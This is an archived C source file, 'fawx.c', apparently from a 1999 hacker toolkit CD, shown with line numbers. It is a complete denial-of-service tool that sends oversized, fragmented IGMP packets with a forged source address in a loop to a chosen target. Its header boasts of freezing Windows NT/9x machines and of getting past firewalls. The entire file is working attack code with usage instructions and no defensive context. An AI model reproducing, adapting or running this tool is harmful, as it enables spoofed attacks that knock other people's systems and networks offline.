home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / fawx.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  5KB  |  188 lines

  1. /* fawx.c v1 by ben-z -- igmp-8+frag attack for linux *
  2.  *   thanks to datagram for ssping.c - helped lots    *
  3.  * -------------------------------------------------- *
  4.  * DESCRIPTION:                                       *
  5.  *  Sends oversized fragmented IGMP packets to a box  *
  6.  *  either making it freeze (WinNT/9x), or lagging    *
  7.  *  it to hell and back. Since most win32 firewalls   *
  8.  *  dont support IGMP, the attack successfully        *
  9.  *  penetrates into the system, making it much more   *
  10.  *  effective than an ICMP attack which is likely to  *
  11.  *  be filtered.                                      *
  12.  * GREETINGS:                                         *
  13.  *  mad props to datagram for writing ssping, also    *
  14.  *  thanks to #fts(2) on undernet and the psychic     *
  15.  *  crew on efnet. shouts to ka0z, cyrus, magicfx,    *
  16.  *  ice-e, zeronine, soupnazi, benito, eklipz, c0s,   *
  17.  *  metalman, chawp, folk, atomic-, dethwish, sindawg *
  18.  *  mosthated, and everyone on irc.slacknet.org..     */
  19.  
  20. #include <stdio.h>
  21. #include <unistd.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <sys/types.h>
  25. #include <sys/time.h>
  26. #include <sys/socket.h>
  27. #include <netdb.h>
  28. #include <netinet/in.h>
  29. #include <netinet/ip.h>
  30. #include <netinet/ip_icmp.h>
  31. #include <netinet/igmp.h>
  32.  
  33. void banner(void) {
  34.    printf(" -----------------------------------------------\n");    
  35.    printf("| fawx v1 by ben-z: igmp-8+frag spoofing attack |\n");
  36.    printf(" -----------------------------------------------\n");
  37. }
  38.  
  39. void usage(const char *progname) {
  40.  
  41.      printf("[**] syntax: %s <spoof host> <target host> <number>\n",progname);
  42.  
  43. }
  44.  
  45. int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
  46.  
  47.    struct hostent *host;
  48.  
  49.    memset(addr,0,sizeof(struct sockaddr_in));
  50.  
  51.    addr->sin_family = AF_INET;
  52.    addr->sin_addr.s_addr = inet_addr(name);
  53.  
  54.    if (addr->sin_addr.s_addr == -1) {
  55.       if (( host = gethostbyname(name) ) == NULL )  {
  56.          fprintf(stderr,"\nuhm.. %s doesnt exist :P\n",name);
  57.          return(-1);
  58.       }
  59.       addr->sin_family = host->h_addrtype;
  60.       memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  61.    }
  62.  
  63.    addr->sin_port = htons(port);
  64.    return(0);
  65.  
  66. }
  67.  
  68. unsigned short in_cksum(addr, len)
  69.     u_short *addr;
  70.     int len;
  71. {
  72.     register int nleft = len;
  73.     register u_short *w = addr;
  74.     register int sum = 0;
  75.     u_short answer = 0;
  76.  
  77.     while (nleft > 1)  {
  78.         sum += *w++;
  79.         nleft -= 2;
  80.     }
  81.  
  82.     if (nleft == 1) {
  83.         *(u_char *)(&answer) = *(u_char *)w ;
  84.         sum += answer;
  85.     }
  86.  
  87.     sum = (sum >> 16) + (sum & 0xffff);
  88.     sum += (sum >> 16);        
  89.     answer = ~sum;        
  90.     return(answer);
  91. }
  92.  
  93. int send_fawx(int socket,
  94.                  unsigned long spoof_addr,
  95.                  struct sockaddr_in *dest_addr) {
  96.  
  97.    unsigned char  *packet;
  98.    struct iphdr   *ip;
  99.    struct igmphdr *igmp;
  100.    int rc;
  101.  
  102.         
  103.    packet = (unsigned char *)malloc(sizeof(struct iphdr) +
  104.                                 sizeof(struct igmphdr) + 8);
  105.  
  106.    ip = (struct iphdr *)packet;
  107.    igmp = (struct igmphdr *)(packet + sizeof(struct iphdr));
  108.  
  109.    memset(ip,0,sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);
  110.    
  111.    ip->ihl      = 5;
  112.    ip->version  = 4;
  113.    ip->id       = htons(34717);
  114.    ip->frag_off |= htons(0x2000);
  115.    ip->ttl      = 255;
  116.    ip->protocol = IPPROTO_IGMP;
  117.    ip->saddr    = spoof_addr;
  118.    ip->daddr    = dest_addr->sin_addr.s_addr;
  119.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  120.  
  121.  
  122.    igmp->type            = 8;
  123.    igmp->code            = 0;
  124.  
  125.    if (sendto(socket,
  126.               packet,
  127.               sizeof(struct iphdr) +
  128.               sizeof(struct igmphdr) + 1,0,
  129.               (struct sockaddr *)dest_addr,
  130.               sizeof(struct sockaddr)) == -1) { return(-1); }
  131.    
  132.  
  133.    ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);
  134.    ip->frag_off = htons(8 >> 3);
  135.    ip->frag_off |= htons(0x2000);
  136.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  137.  
  138.    igmp->type = 0;
  139.    igmp->code = 0;
  140.  
  141.    if (sendto(socket,
  142.               packet,
  143.               sizeof(struct iphdr) +
  144.               sizeof(struct igmphdr) + 8,0,
  145.               (struct sockaddr *)dest_addr,
  146.               sizeof(struct sockaddr)) == -1) { return(-1); }
  147.  
  148.    free(packet);
  149.  /*  printf(".");  <- it looked way too ugly :P */
  150.    return(0);
  151.  
  152. }
  153.  
  154. int main(int argc, char * *argv) {
  155.  
  156.    struct sockaddr_in dest_addr;
  157.    unsigned int i,sock;
  158.    unsigned long src_addr;
  159.  
  160.    banner();
  161.    if ((argc != 4)) {
  162.       usage(argv[0]);
  163.       return(-1);
  164.    }
  165.    
  166.    if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 
  167.       fprintf(stderr,"error opening raw socket. <got root?>\n");
  168.       return(-1);
  169.    }
  170.    
  171.    if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
  172.    src_addr = dest_addr.sin_addr.s_addr;
  173.  
  174.    if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
  175.  
  176.    printf("[**] sending igmp-8+frag attacks to: %s.",argv[2]);
  177.    for (i = 0;i < atoi(argv[3]);i++) {
  178.       if (send_fawx(sock,
  179.                        src_addr,
  180.                        &dest_addr) == -1) {
  181.          fprintf(stderr,"error sending packet. <got root?>\n");
  182.          return(-1);
  183.       }
  184.       usleep(10000);
  185.     }
  186. printf(" *eof*\n");
  187. }
  188.